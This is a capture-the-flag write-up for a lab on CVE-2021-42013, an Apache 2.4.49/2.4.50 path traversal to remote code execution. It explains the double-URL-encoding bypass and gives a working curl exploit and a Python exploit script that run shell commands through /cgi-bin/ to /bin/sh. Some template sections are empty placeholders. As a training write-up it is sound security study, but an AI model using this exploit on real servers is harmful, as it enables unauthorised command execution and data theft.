Apache HTTP Server 2.4.49-2.4.50 Remote Code Execution (CVE-2021-42013)

Platform: Hackviser | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-08 | Status: Solved Techniques: cgi_command_execution, double_url_encoding_bypass, path_traversal_to_rce, scriptalias_abuse

Summary

Task: Apache HTTP Server 2.4.49/2.4.50 with CVE-2021-42013 path traversal and RCE vulnerability, goal is to read /secret.txt. Solution: Double URL-encoded path traversal (%%32%65%%32%65 = ..) through /cgi-bin/ ScriptAlias to reach /bin/sh and execute cat /secret.txt.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: hackviser | ID: 20260708_hackviser_apache_rce_cve_2021_42013
• Tags: rce, path_traversal, apache, cgi, cve_2021_41773, double_url_encoding, cve_2021_42013
• Indicators: Apache/2.4.49 or Apache/2.4.50 in Server header, ScriptAlias /cgi-bin/ configured, %%32%65 double-encoded dot bypass, CVE-2021-42013 path traversal, mod_cgi enabled
• Source: 20260708_hackviser_apache_rce_cve_2021_42013.md

Foothold

Vulnerability / Misconfiguration

1. Cgi_command_execution
2. Double_url_encoding_bypass
3. Path_traversal_to_rce
4. Scriptalias_abuse

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• cgi_command_execution
• double_url_encoding_bypass
• path_traversal_to_rce
• scriptalias_abuse
• Tags: rce, path_traversal, apache, cgi, cve_2021_41773, double_url_encoding, cve_2021_42013

Original Writeup

<details><summary>Click to expand original content</summary>

Apache HTTP Server 2.4.49/2.4.50 RCE (CVE-2021-42013) — Hackviser

Description

Apache HTTP Server is a popular open-source web server used to host and serve web content. This laboratory contains the CVE-2021-42013 vulnerability found in Apache HTTP Server versions 2.4.49 and 2.4.50. This vulnerability allows attackers to perform path traversal and remote code execution attacks, enabling the execution of arbitrary commands on the server and potentially taking control of the system. The goal is to read the secret in /secret.txt.

English summary: An Apache HTTP Server 2.4.50 instance is vulnerable to CVE-2021-42013. The goal is to exploit the path traversal / RCE vulnerability to read /secret.txt from the filesystem root.

Analysis

CVE-2021-42013 is a path traversal vulnerability in Apache HTTP Server versions 2.4.49 and 2.4.50. It is a bypass of the incomplete fix for CVE-2021-41773 (which was patched in 2.4.50 but insufficiently).

The core issue: Apache's path normalization checks for ../ sequences, but double URL encoding bypasses this check:

• %%32%65 → first decode → %2e → second decode → .
• So %%32%65%%32%65/ decodes to ../ after both decoding passes

When the traversal path goes through a ScriptAlias directive (like /cgi-bin/), Apache treats the resolved path as a CGI script and executes it. By traversing to /bin/sh, an attacker can execute arbitrary shell commands via POST body — escalating path traversal to Remote Code Execution.

Key prerequisites:

1. Apache 2.4.49 or 2.4.50
2. mod_cgi or mod_cgid enabled
3. A ScriptAlias directive (e.g., /cgi-bin/)
4. The Require all granted or permissive directory configuration

Solution

Step 1: Reconnaissance

Identified the target Apache version from HTTP response headers:

curl -sI http://172.20.1.166/

HTTP/1.1 200 OK
Server: Apache/2.4.50 (Unix)

Apache 2.4.50 — vulnerable to CVE-2021-42013.

Direct access to /secret.txt returned 404, confirming the file is at the filesystem root (/secret.txt), not in the web document root.

Step 2: Path Traversal Attempts

Attempted plain path traversal via different aliases:

• Via /cgi-bin/: Returned HTTP 500 — ScriptAlias tries to execute the target file as CGI, not read it
• Via /icons/: Returned HTTP 403 — directory permissions blocked access

This confirmed that raw file read via path traversal alone was insufficient; RCE through /bin/sh was needed.

Step 3: RCE via CVE-2021-42013

Used double-encoded path traversal through /cgi-bin/ to reach /bin/sh and execute cat /secret.txt:

curl -s --path-as-is \
  "http://172.20.1.166/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh" \
  -d 'echo Content-Type: text/plain; echo; cat /secret.txt'

Output:

REDACTED

Breaking down the exploit URL:

• /cgi-bin/ — triggers ScriptAlias, Apache will execute the resolved path
• %%32%65%%32%65/ × 4 — double-encoded ../ repeated 4 times to traverse from the cgi-bin directory to the filesystem root
• /bin/sh — the shell binary to execute
• POST body: CGI-compliant output (Content-Type header + blank line) followed by the command cat /secret.txt
• --path-as-is — prevents curl from normalizing the path (collapsing ../)

The command ran as uid=1(daemon) with /secret.txt having permissions -rwxrwxrwx.

#!/usr/bin/env python3
"""CVE-2021-42013 exploit - Apache 2.4.49/2.4.50 RCE"""
import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://172.20.1.166"
traversal = "%%32%65%%32%65/" * 4
url = f"{target}/cgi-bin/{traversal}bin/sh"

resp = requests.post(
    url,
    data="echo Content-Type: text/plain; echo; cat /secret.txt",
    allow_redirects=False
)

print(resp.text)

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR